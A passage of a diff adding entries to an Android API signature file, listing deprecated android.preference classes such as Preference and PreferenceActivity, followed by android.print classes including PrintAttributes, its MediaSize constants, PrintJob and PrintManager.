+    method @Deprecated public android.preference.PreferenceManager getPreferenceManager();
+    method @Deprecated public android.content.SharedPreferences getSharedPreferences();
+    method @Deprecated public boolean getShouldDisableView();
+    method @Deprecated public CharSequence getSummary();
+    method @Deprecated public CharSequence getTitle();
+    method @Deprecated @StringRes public int getTitleRes();
+    method @Deprecated public android.view.View getView(android.view.View, android.view.ViewGroup);
+    method @Deprecated @LayoutRes public int getWidgetLayoutResource();
+    method @Deprecated public boolean hasKey();
+    method @Deprecated public boolean isEnabled();
+    method @Deprecated public boolean isIconSpaceReserved();
+    method @Deprecated public boolean isPersistent();
+    method @Deprecated public boolean isRecycleEnabled();
+    method @Deprecated public boolean isSelectable();
+    method @Deprecated public boolean isSingleLineTitle();
+    method @Deprecated protected void notifyChanged();
+    method @Deprecated public void notifyDependencyChange(boolean);
+    method @Deprecated protected void notifyHierarchyChanged();
+    method @Deprecated protected void onAttachedToActivity();
+    method @Deprecated protected void onAttachedToHierarchy(android.preference.PreferenceManager);
+    method @Deprecated @CallSuper protected void onBindView(android.view.View);
+    method @Deprecated protected void onClick();
+    method @Deprecated @CallSuper protected android.view.View onCreateView(android.view.ViewGroup);
+    method @Deprecated public void onDependencyChanged(android.preference.Preference, boolean);
+    method @Deprecated protected Object onGetDefaultValue(android.content.res.TypedArray, int);
+    method @Deprecated public void onParentChanged(android.preference.Preference, boolean);
+    method @Deprecated @CallSuper protected void onPrepareForRemoval();
+    method @Deprecated protected void onRestoreInstanceState(android.os.Parcelable);
+    method @Deprecated protected android.os.Parcelable onSaveInstanceState();
+    method @Deprecated protected void onSetInitialValue(boolean, Object);
+    method @Deprecated public android.os.Bundle peekExtras();
+    method @Deprecated protected boolean persistBoolean(boolean);
+    method @Deprecated protected boolean persistFloat(float);
+    method @Deprecated protected boolean persistInt(int);
+    method @Deprecated protected boolean persistLong(long);
+    method @Deprecated protected boolean persistString(String);
+    method @Deprecated public boolean persistStringSet(java.util.Set<java.lang.String>);
+    method @Deprecated public void restoreHierarchyState(android.os.Bundle);
+    method @Deprecated public void saveHierarchyState(android.os.Bundle);
+    method @Deprecated public void setDefaultValue(Object);
+    method @Deprecated public void setDependency(String);
+    method @Deprecated public void setEnabled(boolean);
+    method @Deprecated public void setFragment(String);
+    method @Deprecated public void setIcon(android.graphics.drawable.Drawable);
+    method @Deprecated public void setIcon(@DrawableRes int);
+    method @Deprecated public void setIconSpaceReserved(boolean);
+    method @Deprecated public void setIntent(android.content.Intent);
+    method @Deprecated public void setKey(String);
+    method @Deprecated public void setLayoutResource(@LayoutRes int);
+    method @Deprecated public void setOnPreferenceChangeListener(android.preference.Preference.OnPreferenceChangeListener);
+    method @Deprecated public void setOnPreferenceClickListener(android.preference.Preference.OnPreferenceClickListener);
+    method @Deprecated public void setOrder(int);
+    method @Deprecated public void setPersistent(boolean);
+    method @Deprecated public void setPreferenceDataStore(android.preference.PreferenceDataStore);
+    method @Deprecated @CallSuper public void setRecycleEnabled(boolean);
+    method @Deprecated public void setSelectable(boolean);
+    method @Deprecated public void setShouldDisableView(boolean);
+    method @Deprecated public void setSingleLineTitle(boolean);
+    method @Deprecated public void setSummary(CharSequence);
+    method @Deprecated public void setSummary(@StringRes int);
+    method @Deprecated public void setTitle(CharSequence);
+    method @Deprecated public void setTitle(@StringRes int);
+    method @Deprecated public void setWidgetLayoutResource(@LayoutRes int);
+    method @Deprecated public boolean shouldCommit();
+    method @Deprecated public boolean shouldDisableDependents();
+    method @Deprecated protected boolean shouldPersist();
+    field @Deprecated public static final int DEFAULT_ORDER = 2147483647; // 0x7fffffff
+  }
+
+  @Deprecated public static class Preference.BaseSavedState extends android.view.AbsSavedState {
+    ctor @Deprecated public Preference.BaseSavedState(android.os.Parcel);
+    ctor @Deprecated public Preference.BaseSavedState(android.os.Parcelable);
+    field @Deprecated @NonNull public static final android.os.Parcelable.Creator<android.preference.Preference.BaseSavedState> CREATOR;
+  }
+
+  @Deprecated public static interface Preference.OnPreferenceChangeListener {
+    method @Deprecated public boolean onPreferenceChange(android.preference.Preference, Object);
+  }
+
+  @Deprecated public static interface Preference.OnPreferenceClickListener {
+    method @Deprecated public boolean onPreferenceClick(android.preference.Preference);
+  }
+
+  @Deprecated public abstract class PreferenceActivity extends android.app.ListActivity implements android.preference.PreferenceFragment.OnPreferenceStartFragmentCallback {
+    ctor @Deprecated public PreferenceActivity();
+    method @Deprecated public void addPreferencesFromIntent(android.content.Intent);
+    method @Deprecated public void addPreferencesFromResource(int);
+    method @Deprecated public android.preference.Preference findPreference(CharSequence);
+    method @Deprecated public void finishPreferencePanel(android.app.Fragment, int, android.content.Intent);
+    method @Deprecated public android.preference.PreferenceManager getPreferenceManager();
+    method @Deprecated public android.preference.PreferenceScreen getPreferenceScreen();
+    method @Deprecated public boolean hasHeaders();
+    method @Deprecated public void invalidateHeaders();
+    method @Deprecated public boolean isMultiPane();
+    method @Deprecated protected boolean isValidFragment(String);
+    method @Deprecated public void loadHeadersFromResource(@XmlRes int, java.util.List<android.preference.PreferenceActivity.Header>);
+    method @Deprecated public void onBuildHeaders(java.util.List<android.preference.PreferenceActivity.Header>);
+    method @Deprecated public android.content.Intent onBuildStartFragmentIntent(String, android.os.Bundle, @StringRes int, int);
+    method @Deprecated public android.preference.PreferenceActivity.Header onGetInitialHeader();
+    method @Deprecated public android.preference.PreferenceActivity.Header onGetNewHeader();
+    method @Deprecated public void onHeaderClick(android.preference.PreferenceActivity.Header, int);
+    method @Deprecated public boolean onIsHidingHeaders();
+    method @Deprecated public boolean onIsMultiPane();
+    method @Deprecated public boolean onPreferenceStartFragment(android.preference.PreferenceFragment, android.preference.Preference);
+    method @Deprecated public boolean onPreferenceTreeClick(android.preference.PreferenceScreen, android.preference.Preference);
+    method @Deprecated public void setListFooter(android.view.View);
+    method @Deprecated public void setParentTitle(CharSequence, CharSequence, android.view.View.OnClickListener);
+    method @Deprecated public void setPreferenceScreen(android.preference.PreferenceScreen);
+    method @Deprecated public void showBreadCrumbs(CharSequence, CharSequence);
+    method @Deprecated public void startPreferenceFragment(android.app.Fragment, boolean);
+    method @Deprecated public void startPreferencePanel(String, android.os.Bundle, @StringRes int, CharSequence, android.app.Fragment, int);
+    method @Deprecated public void startWithFragment(String, android.os.Bundle, android.app.Fragment, int);
+    method @Deprecated public void startWithFragment(String, android.os.Bundle, android.app.Fragment, int, @StringRes int, @StringRes int);
+    method @Deprecated public void switchToHeader(String, android.os.Bundle);
+    method @Deprecated public void switchToHeader(android.preference.PreferenceActivity.Header);
+    field @Deprecated public static final String EXTRA_NO_HEADERS = ":android:no_headers";
+    field @Deprecated public static final String EXTRA_SHOW_FRAGMENT = ":android:show_fragment";
+    field @Deprecated public static final String EXTRA_SHOW_FRAGMENT_ARGUMENTS = ":android:show_fragment_args";
+    field @Deprecated public static final String EXTRA_SHOW_FRAGMENT_SHORT_TITLE = ":android:show_fragment_short_title";
+    field @Deprecated public static final String EXTRA_SHOW_FRAGMENT_TITLE = ":android:show_fragment_title";
+    field @Deprecated public static final long HEADER_ID_UNDEFINED = -1L; // 0xffffffffffffffffL
+  }
+
+  @Deprecated public static final class PreferenceActivity.Header implements android.os.Parcelable {
+    ctor @Deprecated public PreferenceActivity.Header();
+    method @Deprecated public int describeContents();
+    method @Deprecated public CharSequence getBreadCrumbShortTitle(android.content.res.Resources);
+    method @Deprecated public CharSequence getBreadCrumbTitle(android.content.res.Resources);
+    method @Deprecated public CharSequence getSummary(android.content.res.Resources);
+    method @Deprecated public CharSequence getTitle(android.content.res.Resources);
+    method @Deprecated public void readFromParcel(android.os.Parcel);
+    method @Deprecated public void writeToParcel(android.os.Parcel, int);
+    field @Deprecated @NonNull public static final android.os.Parcelable.Creator<android.preference.PreferenceActivity.Header> CREATOR;
+    field @Deprecated public CharSequence breadCrumbShortTitle;
+    field @Deprecated @StringRes public int breadCrumbShortTitleRes;
+    field @Deprecated public CharSequence breadCrumbTitle;
+    field @Deprecated @StringRes public int breadCrumbTitleRes;
+    field @Deprecated public android.os.Bundle extras;
+    field @Deprecated public String fragment;
+    field @Deprecated public android.os.Bundle fragmentArguments;
+    field @Deprecated public int iconRes;
+    field @Deprecated public long id;
+    field @Deprecated public android.content.Intent intent;
+    field @Deprecated public CharSequence summary;
+    field @Deprecated @StringRes public int summaryRes;
+    field @Deprecated public CharSequence title;
+    field @Deprecated @StringRes public int titleRes;
+  }
+
+  @Deprecated public class PreferenceCategory extends android.preference.PreferenceGroup {
+    ctor @Deprecated public PreferenceCategory(android.content.Context, android.util.AttributeSet, int, int);
+    ctor @Deprecated public PreferenceCategory(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public PreferenceCategory(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public PreferenceCategory(android.content.Context);
+  }
+
+  @Deprecated public interface PreferenceDataStore {
+    method @Deprecated public default boolean getBoolean(String, boolean);
+    method @Deprecated public default float getFloat(String, float);
+    method @Deprecated public default int getInt(String, int);
+    method @Deprecated public default long getLong(String, long);
+    method @Deprecated @Nullable public default String getString(String, @Nullable String);
+    method @Deprecated @Nullable public default java.util.Set<java.lang.String> getStringSet(String, @Nullable java.util.Set<java.lang.String>);
+    method @Deprecated public default void putBoolean(String, boolean);
+    method @Deprecated public default void putFloat(String, float);
+    method @Deprecated public default void putInt(String, int);
+    method @Deprecated public default void putLong(String, long);
+    method @Deprecated public default void putString(String, @Nullable String);
+    method @Deprecated public default void putStringSet(String, @Nullable java.util.Set<java.lang.String>);
+  }
+
+  @Deprecated public abstract class PreferenceFragment extends android.app.Fragment {
+    ctor @Deprecated public PreferenceFragment();
+    method @Deprecated public void addPreferencesFromIntent(android.content.Intent);
+    method @Deprecated public void addPreferencesFromResource(@XmlRes int);
+    method @Deprecated public android.preference.Preference findPreference(CharSequence);
+    method @Deprecated public android.preference.PreferenceManager getPreferenceManager();
+    method @Deprecated public android.preference.PreferenceScreen getPreferenceScreen();
+    method @Deprecated public boolean onPreferenceTreeClick(android.preference.PreferenceScreen, android.preference.Preference);
+    method @Deprecated public void setPreferenceScreen(android.preference.PreferenceScreen);
+  }
+
+  @Deprecated public static interface PreferenceFragment.OnPreferenceStartFragmentCallback {
+    method @Deprecated public boolean onPreferenceStartFragment(android.preference.PreferenceFragment, android.preference.Preference);
+  }
+
+  @Deprecated public abstract class PreferenceGroup extends android.preference.Preference {
+    ctor @Deprecated public PreferenceGroup(android.content.Context, android.util.AttributeSet, int, int);
+    ctor @Deprecated public PreferenceGroup(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public PreferenceGroup(android.content.Context, android.util.AttributeSet);
+    method @Deprecated public void addItemFromInflater(android.preference.Preference);
+    method @Deprecated public boolean addPreference(android.preference.Preference);
+    method @Deprecated protected void dispatchRestoreInstanceState(android.os.Bundle);
+    method @Deprecated protected void dispatchSaveInstanceState(android.os.Bundle);
+    method @Deprecated public android.preference.Preference findPreference(CharSequence);
+    method @Deprecated public android.preference.Preference getPreference(int);
+    method @Deprecated public int getPreferenceCount();
+    method @Deprecated protected boolean isOnSameScreenAsChildren();
+    method @Deprecated public boolean isOrderingAsAdded();
+    method @Deprecated protected boolean onPrepareAddPreference(android.preference.Preference);
+    method @Deprecated public void removeAll();
+    method @Deprecated public boolean removePreference(android.preference.Preference);
+    method @Deprecated public void setOrderingAsAdded(boolean);
+  }
+
+  @Deprecated public class PreferenceManager {
+    method @Deprecated public android.preference.PreferenceScreen createPreferenceScreen(android.content.Context);
+    method @Deprecated @Nullable public android.preference.Preference findPreference(CharSequence);
+    method @Deprecated public static android.content.SharedPreferences getDefaultSharedPreferences(android.content.Context);
+    method @Deprecated public static String getDefaultSharedPreferencesName(android.content.Context);
+    method @Deprecated @Nullable public android.preference.PreferenceDataStore getPreferenceDataStore();
+    method @Deprecated public android.content.SharedPreferences getSharedPreferences();
+    method @Deprecated public int getSharedPreferencesMode();
+    method @Deprecated public String getSharedPreferencesName();
+    method @Deprecated public boolean isStorageDefault();
+    method @Deprecated public boolean isStorageDeviceProtected();
+    method @Deprecated public static void setDefaultValues(android.content.Context, @XmlRes int, boolean);
+    method @Deprecated public static void setDefaultValues(android.content.Context, String, int, int, boolean);
+    method @Deprecated public void setPreferenceDataStore(android.preference.PreferenceDataStore);
+    method @Deprecated public void setSharedPreferencesMode(int);
+    method @Deprecated public void setSharedPreferencesName(String);
+    method @Deprecated public void setStorageDefault();
+    method @Deprecated public void setStorageDeviceProtected();
+    field @Deprecated public static final String KEY_HAS_SET_DEFAULT_VALUES = "_has_set_default_values";
+    field @Deprecated public static final String METADATA_KEY_PREFERENCES = "android.preference";
+  }
+
+  @Deprecated public static interface PreferenceManager.OnActivityDestroyListener {
+    method @Deprecated public void onActivityDestroy();
+  }
+
+  @Deprecated public static interface PreferenceManager.OnActivityResultListener {
+    method @Deprecated public boolean onActivityResult(int, int, android.content.Intent);
+  }
+
+  @Deprecated public static interface PreferenceManager.OnActivityStopListener {
+    method @Deprecated public void onActivityStop();
+  }
+
+  @Deprecated public final class PreferenceScreen extends android.preference.PreferenceGroup implements android.widget.AdapterView.OnItemClickListener android.content.DialogInterface.OnDismissListener {
+    method @Deprecated public void bind(android.widget.ListView);
+    method @Deprecated public android.app.Dialog getDialog();
+    method @Deprecated public android.widget.ListAdapter getRootAdapter();
+    method @Deprecated protected android.widget.ListAdapter onCreateRootAdapter();
+    method @Deprecated public void onDismiss(android.content.DialogInterface);
+    method @Deprecated public void onItemClick(android.widget.AdapterView, android.view.View, int, long);
+  }
+
+  @Deprecated public class RingtonePreference extends android.preference.Preference implements android.preference.PreferenceManager.OnActivityResultListener {
+    ctor @Deprecated public RingtonePreference(android.content.Context, android.util.AttributeSet, int, int);
+    ctor @Deprecated public RingtonePreference(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public RingtonePreference(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public RingtonePreference(android.content.Context);
+    method @Deprecated public int getRingtoneType();
+    method @Deprecated public boolean getShowDefault();
+    method @Deprecated public boolean getShowSilent();
+    method @Deprecated public boolean onActivityResult(int, int, android.content.Intent);
+    method @Deprecated protected void onPrepareRingtonePickerIntent(android.content.Intent);
+    method @Deprecated protected android.net.Uri onRestoreRingtone();
+    method @Deprecated protected void onSaveRingtone(android.net.Uri);
+    method @Deprecated public void setRingtoneType(int);
+    method @Deprecated public void setShowDefault(boolean);
+    method @Deprecated public void setShowSilent(boolean);
+  }
+
+  @Deprecated public class SwitchPreference extends android.preference.TwoStatePreference {
+    ctor @Deprecated public SwitchPreference(android.content.Context, android.util.AttributeSet, int, int);
+    ctor @Deprecated public SwitchPreference(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public SwitchPreference(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public SwitchPreference(android.content.Context);
+    method @Deprecated public CharSequence getSwitchTextOff();
+    method @Deprecated public CharSequence getSwitchTextOn();
+    method @Deprecated public void setSwitchTextOff(CharSequence);
+    method @Deprecated public void setSwitchTextOff(@StringRes int);
+    method @Deprecated public void setSwitchTextOn(CharSequence);
+    method @Deprecated public void setSwitchTextOn(@StringRes int);
+  }
+
+  @Deprecated public abstract class TwoStatePreference extends android.preference.Preference {
+    ctor @Deprecated public TwoStatePreference(android.content.Context, android.util.AttributeSet, int, int);
+    ctor @Deprecated public TwoStatePreference(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public TwoStatePreference(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public TwoStatePreference(android.content.Context);
+    method @Deprecated public boolean getDisableDependentsState();
+    method @Deprecated public CharSequence getSummaryOff();
+    method @Deprecated public CharSequence getSummaryOn();
+    method @Deprecated public boolean isChecked();
+    method @Deprecated public void setChecked(boolean);
+    method @Deprecated public void setDisableDependentsState(boolean);
+    method @Deprecated public void setSummaryOff(CharSequence);
+    method @Deprecated public void setSummaryOff(@StringRes int);
+    method @Deprecated public void setSummaryOn(CharSequence);
+    method @Deprecated public void setSummaryOn(@StringRes int);
+  }
+
+}
+
+package android.print {
+
+  public final class PageRange implements android.os.Parcelable {
+    ctor public PageRange(@IntRange(from=0) int, @IntRange(from=0) int);
+    method public int describeContents();
+    method @IntRange(from=0) public int getEnd();
+    method @IntRange(from=0) public int getStart();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final android.print.PageRange ALL_PAGES;
+    field @NonNull public static final android.os.Parcelable.Creator<android.print.PageRange> CREATOR;
+  }
+
+  public final class PrintAttributes implements android.os.Parcelable {
+    method public int describeContents();
+    method @IntRange(from=0) public int getColorMode();
+    method @IntRange(from=0) public int getDuplexMode();
+    method @Nullable public android.print.PrintAttributes.MediaSize getMediaSize();
+    method @Nullable public android.print.PrintAttributes.Margins getMinMargins();
+    method @Nullable public android.print.PrintAttributes.Resolution getResolution();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int COLOR_MODE_COLOR = 2; // 0x2
+    field public static final int COLOR_MODE_MONOCHROME = 1; // 0x1
+    field @NonNull public static final android.os.Parcelable.Creator<android.print.PrintAttributes> CREATOR;
+    field public static final int DUPLEX_MODE_LONG_EDGE = 2; // 0x2
+    field public static final int DUPLEX_MODE_NONE = 1; // 0x1
+    field public static final int DUPLEX_MODE_SHORT_EDGE = 4; // 0x4
+  }
+
+  public static final class PrintAttributes.Builder {
+    ctor public PrintAttributes.Builder();
+    method @NonNull public android.print.PrintAttributes build();
+    method @NonNull public android.print.PrintAttributes.Builder setColorMode(int);
+    method @NonNull public android.print.PrintAttributes.Builder setDuplexMode(int);
+    method @NonNull public android.print.PrintAttributes.Builder setMediaSize(@NonNull android.print.PrintAttributes.MediaSize);
+    method @NonNull public android.print.PrintAttributes.Builder setMinMargins(@NonNull android.print.PrintAttributes.Margins);
+    method @NonNull public android.print.PrintAttributes.Builder setResolution(@NonNull android.print.PrintAttributes.Resolution);
+  }
+
+  public static final class PrintAttributes.Margins {
+    ctor public PrintAttributes.Margins(int, int, int, int);
+    method public int getBottomMils();
+    method public int getLeftMils();
+    method public int getRightMils();
+    method public int getTopMils();
+    field public static final android.print.PrintAttributes.Margins NO_MARGINS;
+  }
+
+  public static final class PrintAttributes.MediaSize {
+    ctor public PrintAttributes.MediaSize(@NonNull String, @NonNull String, @IntRange(from=1) int, @IntRange(from=1) int);
+    method @NonNull public android.print.PrintAttributes.MediaSize asLandscape();
+    method @NonNull public android.print.PrintAttributes.MediaSize asPortrait();
+    method @IntRange(from=1) public int getHeightMils();
+    method @NonNull public String getId();
+    method @NonNull public String getLabel(@NonNull android.content.pm.PackageManager);
+    method @IntRange(from=1) public int getWidthMils();
+    method public boolean isPortrait();
+    field @NonNull public static final android.print.PrintAttributes.MediaSize ANSI_C;
+    field @NonNull public static final android.print.PrintAttributes.MediaSize ANSI_D;
+    field @NonNull public static final android.print.PrintAttributes.MediaSize ANSI_E;
+    field @NonNull public static final android.print.PrintAttributes.MediaSize ANSI_F;
+    field public static final android.print.PrintAttributes.MediaSize ISO_A0;
+    field public static final android.print.PrintAttributes.MediaSize ISO_A1;
+    field public static final android.print.PrintAttributes.MediaSize ISO_A10;
+    field public static final android.print.PrintAttributes.MediaSize ISO_A2;
+    field public static final android.print.PrintAttributes.MediaSize ISO_A3;
+    field public static final android.print.PrintAttributes.MediaSize ISO_A4;
+    field public static final android.print.PrintAttributes.MediaSize ISO_A5;
+    field public static final android.print.PrintAttributes.MediaSize ISO_A6;
+    field public static final android.print.PrintAttributes.MediaSize ISO_A7;
+    field public static final android.print.PrintAttributes.MediaSize ISO_A8;
+    field public static final android.print.PrintAttributes.MediaSize ISO_A9;
+    field public static final android.print.PrintAttributes.MediaSize ISO_B0;
+    field public static final android.print.PrintAttributes.MediaSize ISO_B1;
+    field public static final android.print.PrintAttributes.MediaSize ISO_B10;
+    field public static final android.print.PrintAttributes.MediaSize ISO_B2;
+    field public static final android.print.PrintAttributes.MediaSize ISO_B3;
+    field public static final android.print.PrintAttributes.MediaSize ISO_B4;
+    field public static final android.print.PrintAttributes.MediaSize ISO_B5;
+    field public static final android.print.PrintAttributes.MediaSize ISO_B6;
+    field public static final android.print.PrintAttributes.MediaSize ISO_B7;
+    field public static final android.print.PrintAttributes.MediaSize ISO_B8;
+    field public static final android.print.PrintAttributes.MediaSize ISO_B9;
+    field public static final android.print.PrintAttributes.MediaSize ISO_C0;
+    field public static final android.print.PrintAttributes.MediaSize ISO_C1;
+    field public static final android.print.PrintAttributes.MediaSize ISO_C10;
+    field public static final android.print.PrintAttributes.MediaSize ISO_C2;
+    field public static final android.print.PrintAttributes.MediaSize ISO_C3;
+    field public static final android.print.PrintAttributes.MediaSize ISO_C4;
+    field public static final android.print.PrintAttributes.MediaSize ISO_C5;
+    field public static final android.print.PrintAttributes.MediaSize ISO_C6;
+    field public static final android.print.PrintAttributes.MediaSize ISO_C7;
+    field public static final android.print.PrintAttributes.MediaSize ISO_C8;
+    field public static final android.print.PrintAttributes.MediaSize ISO_C9;
+    field public static final android.print.PrintAttributes.MediaSize JIS_B0;
+    field public static final android.print.PrintAttributes.MediaSize JIS_B1;
+    field public static final android.print.PrintAttributes.MediaSize JIS_B10;
+    field public static final android.print.PrintAttributes.MediaSize JIS_B2;
+    field public static final android.print.PrintAttributes.MediaSize JIS_B3;
+    field public static final android.print.PrintAttributes.MediaSize JIS_B4;
+    field public static final android.print.PrintAttributes.MediaSize JIS_B5;
+    field public static final android.print.PrintAttributes.MediaSize JIS_B6;
+    field public static final android.print.PrintAttributes.MediaSize JIS_B7;
+    field public static final android.print.PrintAttributes.MediaSize JIS_B8;
+    field public static final android.print.PrintAttributes.MediaSize JIS_B9;
+    field public static final android.print.PrintAttributes.MediaSize JIS_EXEC;
+    field public static final android.print.PrintAttributes.MediaSize JPN_CHOU2;
+    field public static final android.print.PrintAttributes.MediaSize JPN_CHOU3;
+    field public static final android.print.PrintAttributes.MediaSize JPN_CHOU4;
+    field public static final android.print.PrintAttributes.MediaSize JPN_HAGAKI;
+    field public static final android.print.PrintAttributes.MediaSize JPN_KAHU;
+    field public static final android.print.PrintAttributes.MediaSize JPN_KAKU2;
+    field @NonNull public static final android.print.PrintAttributes.MediaSize JPN_OE_PHOTO_L;
+    field public static final android.print.PrintAttributes.MediaSize JPN_OUFUKU;
+    field public static final android.print.PrintAttributes.MediaSize JPN_YOU4;
+    field @NonNull public static final android.print.PrintAttributes.MediaSize NA_ARCH_A;
+    field @NonNull public static final android.print.PrintAttributes.MediaSize NA_ARCH_B;
+    field @NonNull public static final android.print.PrintAttributes.MediaSize NA_ARCH_C;
+    field @NonNull public static final android.print.PrintAttributes.MediaSize NA_ARCH_D;
+    field @NonNull public static final android.print.PrintAttributes.MediaSize NA_ARCH_E;
+    field @NonNull public static final android.print.PrintAttributes.MediaSize NA_ARCH_E1;
+    field public static final android.print.PrintAttributes.MediaSize NA_FOOLSCAP;
+    field public static final android.print.PrintAttributes.MediaSize NA_GOVT_LETTER;
+    field public static final android.print.PrintAttributes.MediaSize NA_INDEX_3X5;
+    field public static final android.print.PrintAttributes.MediaSize NA_INDEX_4X6;
+    field public static final android.print.PrintAttributes.MediaSize NA_INDEX_5X8;
+    field public static final android.print.PrintAttributes.MediaSize NA_JUNIOR_LEGAL;
+    field public static final android.print.PrintAttributes.MediaSize NA_LEDGER;
+    field public static final android.print.PrintAttributes.MediaSize NA_LEGAL;
+    field public static final android.print.PrintAttributes.MediaSize NA_LETTER;
+    field public static final android.print.PrintAttributes.MediaSize NA_MONARCH;
+    field public static final android.print.PrintAttributes.MediaSize NA_QUARTO;
+    field @NonNull public static final android.print.PrintAttributes.MediaSize NA_SUPER_B;
+    field public static final android.print.PrintAttributes.MediaSize NA_TABLOID;
+    field public static final android.print.PrintAttributes.MediaSize OM_DAI_PA_KAI;
+    field public static final android.print.PrintAttributes.MediaSize OM_JUURO_KU_KAI;
+    field public static final android.print.PrintAttributes.MediaSize OM_PA_KAI;
+    field public static final android.print.PrintAttributes.MediaSize PRC_1;
+    field public static final android.print.PrintAttributes.MediaSize PRC_10;
+    field public static final android.print.PrintAttributes.MediaSize PRC_16K;
+    field public static final android.print.PrintAttributes.MediaSize PRC_2;
+    field public static final android.print.PrintAttributes.MediaSize PRC_3;
+    field public static final android.print.PrintAttributes.MediaSize PRC_4;
+    field public static final android.print.PrintAttributes.MediaSize PRC_5;
+    field public static final android.print.PrintAttributes.MediaSize PRC_6;
+    field public static final android.print.PrintAttributes.MediaSize PRC_7;
+    field public static final android.print.PrintAttributes.MediaSize PRC_8;
+    field public static final android.print.PrintAttributes.MediaSize PRC_9;
+    field public static final android.print.PrintAttributes.MediaSize ROC_16K;
+    field public static final android.print.PrintAttributes.MediaSize ROC_8K;
+    field public static final android.print.PrintAttributes.MediaSize UNKNOWN_LANDSCAPE;
+    field public static final android.print.PrintAttributes.MediaSize UNKNOWN_PORTRAIT;
+  }
+
+  public static final class PrintAttributes.Resolution {
+    ctor public PrintAttributes.Resolution(@NonNull String, @NonNull String, @IntRange(from=1) int, @IntRange(from=1) int);
+    method @IntRange(from=1) public int getHorizontalDpi();
+    method @NonNull public String getId();
+    method @NonNull public String getLabel();
+    method @IntRange(from=1) public int getVerticalDpi();
+  }
+
+  public abstract class PrintDocumentAdapter {
+    ctor public PrintDocumentAdapter();
+    method public void onFinish();
+    method public abstract void onLayout(android.print.PrintAttributes, android.print.PrintAttributes, android.os.CancellationSignal, android.print.PrintDocumentAdapter.LayoutResultCallback, android.os.Bundle);
+    method public void onStart();
+    method public abstract void onWrite(android.print.PageRange[], android.os.ParcelFileDescriptor, android.os.CancellationSignal, android.print.PrintDocumentAdapter.WriteResultCallback);
+    field public static final String EXTRA_PRINT_PREVIEW = "EXTRA_PRINT_PREVIEW";
+  }
+
+  public abstract static class PrintDocumentAdapter.LayoutResultCallback {
+    method public void onLayoutCancelled();
+    method public void onLayoutFailed(CharSequence);
+    method public void onLayoutFinished(android.print.PrintDocumentInfo, boolean);
+  }
+
+  public abstract static class PrintDocumentAdapter.WriteResultCallback {
+    method public void onWriteCancelled();
+    method public void onWriteFailed(CharSequence);
+    method public void onWriteFinished(android.print.PageRange[]);
+  }
+
+  public final class PrintDocumentInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getContentType();
+    method @IntRange(from=0) public long getDataSize();
+    method @NonNull public String getName();
+    method @IntRange(from=0xffffffff) public int getPageCount();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int CONTENT_TYPE_DOCUMENT = 0; // 0x0
+    field public static final int CONTENT_TYPE_PHOTO = 1; // 0x1
+    field public static final int CONTENT_TYPE_UNKNOWN = -1; // 0xffffffff
+    field @NonNull public static final android.os.Parcelable.Creator<android.print.PrintDocumentInfo> CREATOR;
+    field public static final int PAGE_COUNT_UNKNOWN = -1; // 0xffffffff
+  }
+
+  public static final class PrintDocumentInfo.Builder {
+    ctor public PrintDocumentInfo.Builder(@NonNull String);
+    method @NonNull public android.print.PrintDocumentInfo build();
+    method @NonNull public android.print.PrintDocumentInfo.Builder setContentType(int);
+    method @NonNull public android.print.PrintDocumentInfo.Builder setPageCount(@IntRange(from=0xffffffff) int);
+  }
+
+  public final class PrintJob {
+    method public void cancel();
+    method @Nullable public android.print.PrintJobId getId();
+    method @NonNull public android.print.PrintJobInfo getInfo();
+    method public boolean isBlocked();
+    method public boolean isCancelled();
+    method public boolean isCompleted();
+    method public boolean isFailed();
+    method public boolean isQueued();
+    method public boolean isStarted();
+    method public void restart();
+  }
+
+  public final class PrintJobId implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.print.PrintJobId> CREATOR;
+  }
+
+  public final class PrintJobInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getAdvancedIntOption(String);
+    method public String getAdvancedStringOption(String);
+    method @NonNull public android.print.PrintAttributes getAttributes();
+    method @IntRange(from=0) public int getCopies();
+    method public long getCreationTime();
+    method @Nullable public android.print.PrintJobId getId();
+    method @NonNull public String getLabel();
+    method @Nullable public android.print.PageRange[] getPages();
+    method @Nullable public android.print.PrinterId getPrinterId();
+    method public int getState();
+    method public boolean hasAdvancedOption(String);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.print.PrintJobInfo> CREATOR;
+    field public static final int STATE_BLOCKED = 4; // 0x4
+    field public static final int STATE_CANCELED = 7; // 0x7
+    field public static final int STATE_COMPLETED = 5; // 0x5
+    field public static final int STATE_CREATED = 1; // 0x1
+    field public static final int STATE_FAILED = 6; // 0x6
+    field public static final int STATE_QUEUED = 2; // 0x2
+    field public static final int STATE_STARTED = 3; // 0x3
+  }
+
+  public static final class PrintJobInfo.Builder {
+    ctor public PrintJobInfo.Builder(@Nullable android.print.PrintJobInfo);
+    method @NonNull public android.print.PrintJobInfo build();
+    method public void putAdvancedOption(@NonNull String, @Nullable String);
+    method public void putAdvancedOption(@NonNull String, int);
+    method public void setAttributes(@NonNull android.print.PrintAttributes);
+    method public void setCopies(@IntRange(from=1) int);
+    method public void setPages(@NonNull android.print.PageRange[]);
+  }
+
+  public final class PrintManager {
+    method @NonNull public java.util.List<android.print.PrintJob> getPrintJobs();
+    method @NonNull public android.print.PrintJob print(@NonNull String, @NonNull android.print.PrintDocumentAdapter, @Nullable android.print.PrintAttributes);
+  }
+
+  public final class PrinterCapabilitiesInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getColorModes();
+    method @NonNull public android.print.PrintAttributes getDefaults();
+    method public int getDuplexModes();
+    method @NonNull public java.util.List<android.print.PrintAttributes.MediaSize> getMediaSizes();
+    method @NonNull public android.print.PrintAttributes.Margins getMinMargins();
